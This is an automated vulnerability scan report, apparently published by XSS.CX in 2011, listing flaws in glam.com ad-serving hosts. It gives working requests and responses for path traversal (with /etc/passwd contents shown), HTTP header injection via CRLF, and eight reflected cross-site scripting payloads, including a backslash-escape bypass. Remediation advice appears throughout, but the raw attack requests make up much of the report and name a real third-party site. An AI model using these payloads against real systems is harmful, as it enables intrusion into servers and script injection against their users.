XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, glam http systems

Report generated by XSS.CX at Mon Jun 13 08:08:11 CDT 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |

Loading

1. File path traversal

2. HTTP header injection

3. Cross-site scripting (reflected)

3.1. http://www2.glam.com/app/site/affiliate/viewChannelModule.act [adSize parameter]

3.2. http://www24a.glam.com/appdir/getscript.jsp [view parameter]

3.3. http://www35.glam.com/gad/glamadapt_jsrv.act [;flg parameter]

3.4. http://www35.glam.com/gad/glamadapt_jsrv.act [name of an arbitrarily supplied request parameter]

3.5. http://www2.glam.com/app/site/affiliate/viewChannelModule.act [ctags cookie]

3.6. http://www2.glam.com/app/site/affiliate/viewChannelModule.act [glam_sid cookie]

3.7. http://www2.glam.com/app/site/affiliate/viewChannelModule.act [qcsegs cookie]

3.8. http://www35.glam.com/gad/glamadapt_jsrv.act [glam_sid cookie]

4. Cookie scoped to parent domain

5. Cross-domain Referer leakage

6. Cookie without HttpOnly flag set

7. Private IP addresses disclosed

7.1. http://www35.glam.com/gad/glamadapt_jsrv.act

7.2. http://www35.glam.com/gad/glamadapt_jsrv.act

7.3. http://www35.glam.com/gad/glamadapt_jsrv.act

7.4. http://www35.glam.com/gad/glamadapt_jsrv.act

7.5. http://www35.glam.com/gad/glamadapt_jsrv.act

7.6. http://www35.glam.com/gad/glamadapt_jsrv.act

7.7. http://www35.glam.com/gad/glamadapt_jsrv.act

7.8. http://www35.glam.com/gad/glamadapt_jsrv.act

7.9. http://www35.glam.com/gad/glamadapt_jsrv.act

8. Credit card numbers disclosed

9. Content type incorrectly stated



1. File path traversal  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www2.glam.com
Path:   /app/site/affiliate/viewChannelModule.act

Issue detail

The mName parameter is vulnerable to path traversal attacks, enabling read access to arbitrary files on the server.

The payload viewAdJs../../../../../../../../etc/passwd%00viewAdJs was submitted in the mName parameter. The requested file was returned in the application's response.

Issue background

File path traversal vulnerabilities arise when user-controllable data is used within a filesystem operation in an unsafe manner. Typically, a user-supplied filename is appended to a directory prefix in order to read or write the contents of a file. If vulnerable, an attacker can supply path traversal sequences (using dot-dot-slash characters) to break out of the intended directory and read or write files elsewhere on the filesystem.

This is usually a very serious vulnerability, enabling an attacker to access sensitive files containing configuration data, passwords, database records, log data, source code, and program scripts and binaries.

Issue remediation

Ideally, application functionality should be designed in such a way that user-controllable data does not need to be passed to filesystem operations. This can normally be achieved either by referencing known files via an index number rather than their name, and by using application-generated filenames to save user-supplied file content.

If it is considered unavoidable to pass user-controllable data to a filesystem operation, three layers of defence can be employed to prevent path traversal attacks:

Request

GET /app/site/affiliate/viewChannelModule.act?mName=viewAdJs../../../../../../../../etc/passwd%00viewAdJs&affiliateId=1000212071&adSize=300x250 HTTP/1.1
Host: www2.glam.com
Proxy-Connection: keep-alive
Referer: http://sportdfw.com/2011/06/13/10-observations-dallas-mavs-finals/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: glam_sid=115232130551023312111; ctags=%3bct%3dpacsun%3bct%3dxboxk3905

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (CentOS)
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding
Cache-Control: max-age=3600
Date: Mon, 13 Jun 2011 11:09:34 GMT
Content-Length: 2011
Connection: close

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdow
...[SNIP]...
ucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
distcache:x:94:94:Distcache:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
pcap:x:77:77::/var/arpwa
...[SNIP]...

2. HTTP header injection  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www22.glam.com
Path:   /cTagsImgCmd.act

Issue detail

The value of the gname request parameter is copied into the Set-Cookie response header. The payload bc557%0d%0a14ab2681ee8 was submitted in the gname parameter. This caused a response containing an injected HTTP header.

Issue background

HTTP header injection vulnerabilities arise when user-supplied data is copied into a response header in an unsafe way. If an attacker can inject newline characters into the header, then they can inject new HTTP headers and also, by injecting an empty line, break out of the headers into the message body and write arbitrary content into the application's response.

Various kinds of attack can be delivered via HTTP header injection vulnerabilities. Any attack that can be delivered via cross-site scripting can usually be delivered via header injection, because the attacker can construct a request which causes arbitrary JavaScript to appear within the response body. Further, it is sometimes possible to leverage header injection vulnerabilities to poison the cache of any proxy server via which users access the application. Here, an attacker sends a crafted request which results in a "split" response containing arbitrary content. If the proxy server can be manipulated to associate the injected response with another URL used within the application, then the attacker can perform a "stored" attack against this URL which will compromise other users who request that URL in future.

Issue remediation

If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.

Request

GET /cTagsImgCmd.act?gtid=5000000440&gcmd=setc&gexpires=172800&gname=bc557%0d%0a14ab2681ee8&gvalue=D,T,5150,3726,2951,2705,2698,2695,2693,2692,2690,1771 HTTP/1.1
Host: www22.glam.com
Proxy-Connection: keep-alive
Referer: http://sportdfw.com/2011/06/13/10-observations-dallas-mavs-finals/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: glam_sid=115232130551023312111; ctags=%3bct%3dpacsun%3bct%3dxboxk3905; bkpix2=1

Response

HTTP/1.1 302 Moved Temporarily
Server: Apache
Content-Length: 153
Content-Type: text/html
Location: http://www35t.glam.com/jsadimp.gif?1^0^929ce6feb36d1ee96e6acadee107c6f7^115232130551023312111^1^446224^/^1x1^5000000440^31230390^-1^-1^-1^-1^0^0^6971307962974364^p^^0^^US^511^0^0^0^WASHINGTON^0^0^0^0^^bc557
Set-Cookie: bc557
14ab2681ee8
=D,T,5150,3726,2951,2705,2698,2695,2693,2692,2690,1771; expires=Wed, 15 Jun 2011 11: 02:54 GMT; path=/; domain=.glam.com;
ETag: "662c9bddfc82c61ba8066514fc2b172e:1276888104"
P3P: policyref="http://www.glammedia.com/about_glam/legal/policy.xml", CP="NON DSP COR PSAo PSDo OUR IND UNI COM NAV STA"
Cache-Control: max-age=144
Date: Mon, 13 Jun 2011 11:02:54 GMT
Connection: close
Vary: Accept-Encoding

<HTML>
<HEAD>
<TITLE>Error Page</TITLE>
</HEAD>
<BODY>
An error (302 Moved Temporarily) has occured in response to this request.
</BODY>
</HTML>

3. Cross-site scripting (reflected)  previous  next
There are 8 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


3.1. http://www2.glam.com/app/site/affiliate/viewChannelModule.act [adSize parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www2.glam.com
Path:   /app/site/affiliate/viewChannelModule.act

Issue detail

The value of the adSize request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 904da'%3balert(1)//a6df15db7aa was submitted in the adSize parameter. This input was echoed as 904da';alert(1)//a6df15db7aa in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /app/site/affiliate/viewChannelModule.act?mName=viewAdJs&affiliateId=1000212071&adSize=300x250904da'%3balert(1)//a6df15db7aa HTTP/1.1
Host: www2.glam.com
Proxy-Connection: keep-alive
Referer: http://sportdfw.com/2011/06/13/10-observations-dallas-mavs-finals/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: glam_sid=115232130551023312111; ctags=%3bct%3dpacsun%3bct%3dxboxk3905

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (CentOS)
Content-Type: application/x-javascript
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding
Cache-Control: max-age=450
Date: Mon, 13 Jun 2011 11:02:08 GMT
Content-Length: 60046
Connection: close


// <!-- [gnetGeneratedTime]=[Fri Mar 25 2011 12:14:16 PDT] -->
// <!-- [gnetCachedTime]=[Mon Jun 13 2011 4:02:08 PDT] -->


window.glam_session = new Object();
window.glam_session.countr
...[SNIP]...
segs&gvalue=!qcsegs" height="0" width="0" border="0">');


function GlamProcessScriptParams()
{

}

window.glam_affiliate_id = '1000212071';
window.glam_zone = '';
window.glam_ad_size = '300x250904da';alert(1)//a6df15db7aa';
window.glam_status = '';
window.glam_status = (window.glam_status==''?null:window.glam_status);

/*
*/


function GlamShowCustomDefaultAd(zone, adSize) {}
window.glam_affiliate_info = new Array();
...[SNIP]...

3.2. http://www24a.glam.com/appdir/getscript.jsp [view parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www24a.glam.com
Path:   /appdir/getscript.jsp

Issue detail

The value of the view request parameter is copied into the HTML document as plain text between tags. The payload d7e21<script>alert(1)</script>dff1cb4ef11 was submitted in the view parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /appdir/getscript.jsp?view=profiled7e21<script>alert(1)</script>dff1cb4ef11&aid=104510405&render=1&ak=1&iid=33896 HTTP/1.1
Host: www24a.glam.com
Proxy-Connection: keep-alive
Referer: http://sportdfw.com/2011/06/13/10-observations-dallas-mavs-finals/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: glam_sid=115232130551023312111; ctags=%3bct%3dpacsun%3bct%3dxboxk3905; bkpix2=1

Response

HTTP/1.1 200 OK
Content-Type: text/javascript; charset=ISO-8859-1
Server: Jetty(6.1.21)
Vary: Accept-Encoding
Date: Mon, 13 Jun 2011 11:02:19 GMT
Content-Length: 67410
Connection: close


window.glamMetricsData = 'pubId=' + encodeURIComponent(window.glam_affiliate_id ? window.glam_affiliate_id : '104510405')
+ '&pv=' + encodeURIComponent(window.atakoOrd ? window.atakoOrd : (window
...[SNIP]...
.gsUrl = "http://www24a.glam.com/appdir";
gadget.mid = "73410477362939";
gadget.isConfig = "";
gadget.developerId = 363645764;
gadget.publisherId = 104510405;
gadget.view = "profiled7e21<script>alert(1)</script>dff1cb4ef11";
gadget.hashData = glamMetricsData; // XXX not safe

gadget.hasInline = '1';
gadget.inlineContent = '<script type=\'text/javascript\' >
...[SNIP]...

3.3. http://www35.glam.com/gad/glamadapt_jsrv.act [;flg parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www35.glam.com
Path:   /gad/glamadapt_jsrv.act

Issue detail

The value of the ;flg request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d81b8'%3balert(1)//95ae78e6706 was submitted in the ;flg parameter. This input was echoed as d81b8';alert(1)//95ae78e6706 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /gad/glamadapt_jsrv.act?;flg=64;;zone=/;nt=b;cc=us;aft=p;ec=ron;p=0;p=1;!c=nae;!c=s;!c=sf;al=walmartdv;ec=tsp;ia=mf;jpbrash=admax;pec=sp;psh=y;rmt=exp;vec=sp;vpec=sp;ct=pacsun;ct=xboxk3905;atf=0;pfl=3;dt=s;!c=hagl;!c=hagn;pt=0;afid=1000212071;dsid=864279;pt=sk;gsz=888x11:999,300x250:1;uv=10;;tt=j;u=b0021fawbst1ssbzd4i,f0f02sa,g10001s;sz=300x250;tile=1;ord=4876240110024810;;afid=1000212071;dsid=864279;url=txanco;seq=1;ux=f-f02sa,tid-1,pid-fawbst1ssbzd4i,aid-2,g-64,1,;_glt=300:1:6:2:1:979:2011:6:13;a_tz=-300;_g_cv=2;d81b8'%3balert(1)//95ae78e6706 HTTP/1.1
Host: www35.glam.com
Proxy-Connection: keep-alive
Referer: http://sportdfw.com/2011/06/13/10-observations-dallas-mavs-finals/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: glam_sid=115232130551023312111; ctags=%3bct%3dpacsun%3bct%3dxboxk3905; bkpix2=1

Response

HTTP/1.1 200 OK
Server: Apache
Content-Type: application/x-javascript
ETag: "d398cadfb255eaeb5658516ed12d9db3:1307759730"
X-Glam-Bdata: XGlamBData,nbt,ls,rs
X-Glam-AdId: 5000045035
X-Glam-Euid: fd547b017683849502d2229b81cac510
X-Powered-By: GlamAdapt/ASE/1.5
Vary: Accept-Encoding
Expires: Mon, 13 Jun 2011 11:02:10 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 13 Jun 2011 11:02:10 GMT
Content-Length: 3261
Connection: close



...[SNIP]...
,f0f02sa,g10001s;sz=300x250;tile=1;ord=4876240110024810;;afid=1000212071;dsid=864279;url=txanco;seq=1;ux=f-f02sa,tid-1,pid-fawbst1ssbzd4i,aid-2,g-64,1,;_glt=300:1:6:2:1:979:2011:6:13;a_tz=-300;_g_cv=2;d81b8';alert(1)//95ae78e6706;';
var vars = glam_affiliate_vars.split(";");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if ( pair[1] ) { glam_info[pair[0]] = pair[1]; }
}
return ( glam_info[pName
...[SNIP]...

3.4. http://www35.glam.com/gad/glamadapt_jsrv.act [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www35.glam.com
Path:   /gad/glamadapt_jsrv.act

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8a10f'%3balert(1)//bca5408b201 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 8a10f';alert(1)//bca5408b201 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /gad/glamadapt_jsrv.act?;flg=64;;zone=/;nt=b;cc=us;aft=p;ec=ron;p=0;p=1;!c=nae;!c=s;!c=sf;al=walmartdv;ec=tsp;ia=mf;jpbrash=admax;pec=sp;psh=y;rmt=exp;vec=sp;vpec=sp;ct=pacsun;ct=xboxk3905;atf=0;pfl=3;dt=s;!c=hagl;!c=hagn;pt=0;afid=1000212071;dsid=864279;pt=sk;gsz=888x11:999,300x250:1;uv=10;;tt=j;u=b0021fawbst1ssbzd4i,f0f02sa,g10001s;sz=300x250;tile=1;ord=4876240110024810;;afid=1000212071;dsid=864279;url=txanco;seq=1;ux=f-f02sa,tid-1,pid-fawbst1ssbzd4i,aid-2,g-64,1,;_glt=300:1:6:2:1:979:2011:6:13;a_tz=-300;_g_cv=2;&8a10f'%3balert(1)//bca5408b201=1 HTTP/1.1
Host: www35.glam.com
Proxy-Connection: keep-alive
Referer: http://sportdfw.com/2011/06/13/10-observations-dallas-mavs-finals/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: glam_sid=115232130551023312111; ctags=%3bct%3dpacsun%3bct%3dxboxk3905; bkpix2=1

Response

HTTP/1.1 200 OK
Server: Apache
Content-Type: application/x-javascript
ETag: "d398cadfb255eaeb5658516ed12d9db3:1307759730"
X-Glam-Bdata: XGlamBData,nbt,ls,rs
X-Glam-AdId: 5000045035
X-Glam-Euid: 5a74f4a2e4f82ff2cf7ca512fb18ddf9
X-Powered-By: GlamAdapt/ASE/1.5
Vary: Accept-Encoding
Expires: Mon, 13 Jun 2011 11:02:19 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 13 Jun 2011 11:02:19 GMT
Content-Length: 3378
Connection: close



...[SNIP]...
f0f02sa,g10001s;sz=300x250;tile=1;ord=4876240110024810;;afid=1000212071;dsid=864279;url=txanco;seq=1;ux=f-f02sa,tid-1,pid-fawbst1ssbzd4i,aid-2,g-64,1,;_glt=300:1:6:2:1:979:2011:6:13;a_tz=-300;_g_cv=2;;8a10f';alert(1)//bca5408b201=1;';
var vars = glam_affiliate_vars.split(";");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if ( pair[1] ) { glam_info[pair[0]] = pair[1]; }
}
return ( glam_info[pNa
...[SNIP]...

3.5. http://www2.glam.com/app/site/affiliate/viewChannelModule.act [ctags cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www2.glam.com
Path:   /app/site/affiliate/viewChannelModule.act

Issue detail

The value of the ctags cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 99f7f\'%3balert(1)//8b53eae76f0 was submitted in the ctags cookie. This input was echoed as 99f7f\\';alert(1)//8b53eae76f0 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.

Request

GET /app/site/affiliate/viewChannelModule.act?mName=viewAdJs&affiliateId=1000212071&adSize=300x250 HTTP/1.1
Host: www2.glam.com
Proxy-Connection: keep-alive
Referer: http://sportdfw.com/2011/06/13/10-observations-dallas-mavs-finals/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: glam_sid=115232130551023312111; ctags=%3bct%3dpacsun%3bct%3dxboxk390599f7f\'%3balert(1)//8b53eae76f0

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (CentOS)
Content-Type: application/x-javascript
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding
Cache-Control: max-age=450
Date: Mon, 13 Jun 2011 11:02:09 GMT
Content-Length: 60048
Connection: close


// <!-- [gnetGeneratedTime]=[Fri Mar 25 2011 12:14:16 PDT] -->
// <!-- [gnetCachedTime]=[Mon Jun 13 2011 3:55:41 PDT] -->


window.glam_session = new Object();
window.glam_session.country_code = null;
/*
*/


window.glam_session.edge = true;

window.glam_session.glam_sid='115232130551023312111';

window.glam_session.ctags=';ct=pacsun;ct=xboxk390599f7f\\';alert(1)//8b53eae76f0';

window.glam_session.country_code='US';

window.glam_session.dma='511';

window.glam_session.region_code='DC';

window.glam_session.sid_set=1;


window.glam_session.user_agent_type='2';


docu
...[SNIP]...

3.6. http://www2.glam.com/app/site/affiliate/viewChannelModule.act [glam_sid cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www2.glam.com
Path:   /app/site/affiliate/viewChannelModule.act

Issue detail

The value of the glam_sid cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ca4e2\'%3balert(1)//67a7241f268 was submitted in the glam_sid cookie. This input was echoed as ca4e2\\';alert(1)//67a7241f268 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.

Request

GET /app/site/affiliate/viewChannelModule.act?mName=viewAdJs&affiliateId=1000212071&adSize=300x250 HTTP/1.1
Host: www2.glam.com
Proxy-Connection: keep-alive
Referer: http://sportdfw.com/2011/06/13/10-observations-dallas-mavs-finals/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: glam_sid=115232130551023312111ca4e2\'%3balert(1)//67a7241f268; ctags=%3bct%3dpacsun%3bct%3dxboxk3905

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (CentOS)
Content-Type: application/x-javascript
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding
Cache-Control: max-age=450
Date: Mon, 13 Jun 2011 11:02:09 GMT
Content-Length: 60048
Connection: close


// <!-- [gnetGeneratedTime]=[Fri Mar 25 2011 12:14:16 PDT] -->
// <!-- [gnetCachedTime]=[Mon Jun 13 2011 3:55:41 PDT] -->


window.glam_session = new Object();
window.glam_session.country_code = null;
/*
*/


window.glam_session.edge = true;

window.glam_session.glam_sid='115232130551023312111ca4e2\\';alert(1)//67a7241f268';

window.glam_session.ctags=';ct=pacsun;ct=xboxk3905';

window.glam_session.country_code='US';

window.glam_session.dma='511';

window.glam_session.region_code='DC';

window.glam_session.sid_set=1;


...[SNIP]...

3.7. http://www2.glam.com/app/site/affiliate/viewChannelModule.act [qcsegs cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www2.glam.com
Path:   /app/site/affiliate/viewChannelModule.act

Issue detail

The value of the qcsegs cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 73333\'%3balert(1)//95067bdca83 was submitted in the qcsegs cookie. This input was echoed as 73333\\';alert(1)//95067bdca83 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.

Request

GET /app/site/affiliate/viewChannelModule.act?mName=viewAdJs&affiliateId=1000212071&adSize=160x600 HTTP/1.1
Host: www2.glam.com
Proxy-Connection: keep-alive
Referer: http://sportdfw.com/2011/06/13/10-observations-dallas-mavs-finals/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: glam_sid=115232130551023312111; ctags=%3bct%3dpacsun%3bct%3dxboxk3905; bkpix2=1; qcsegs=D,T,5150,3726,2951,2705,2698,2695,2693,2692,2690,177173333\'%3balert(1)//95067bdca83

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (CentOS)
Content-Type: application/x-javascript
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding
Cache-Control: max-age=450
Date: Mon, 13 Jun 2011 11:03:05 GMT
Content-Length: 59854
Connection: close


// <!-- [gnetGeneratedTime]=[Fri Mar 25 2011 12:14:16 PDT] -->
// <!-- [gnetCachedTime]=[Mon Jun 13 2011 3:55:42 PDT] -->


window.glam_session = new Object();
window.glam_session.countr
...[SNIP]...
e = true;

window.glam_session.glam_sid='115232130551023312111';

window.glam_session.ctags=';ct=pacsun;ct=xboxk3905';

window.glam_session.qcsegs='D,T,5150,3726,2951,2705,2698,2695,2693,2692,2690,177173333\\';alert(1)//95067bdca83';

window.glam_session.country_code='US';

window.glam_session.dma='511';

window.glam_session.region_code='DC';

window.glam_session.sid_set=1;


window.glam_session.user_agent_type='2';


fu
...[SNIP]...

3.8. http://www35.glam.com/gad/glamadapt_jsrv.act [glam_sid cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www35.glam.com
Path:   /gad/glamadapt_jsrv.act

Issue detail

The value of the glam_sid cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 55a4c'-alert(1)-'d2b57a87d11 was submitted in the glam_sid cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

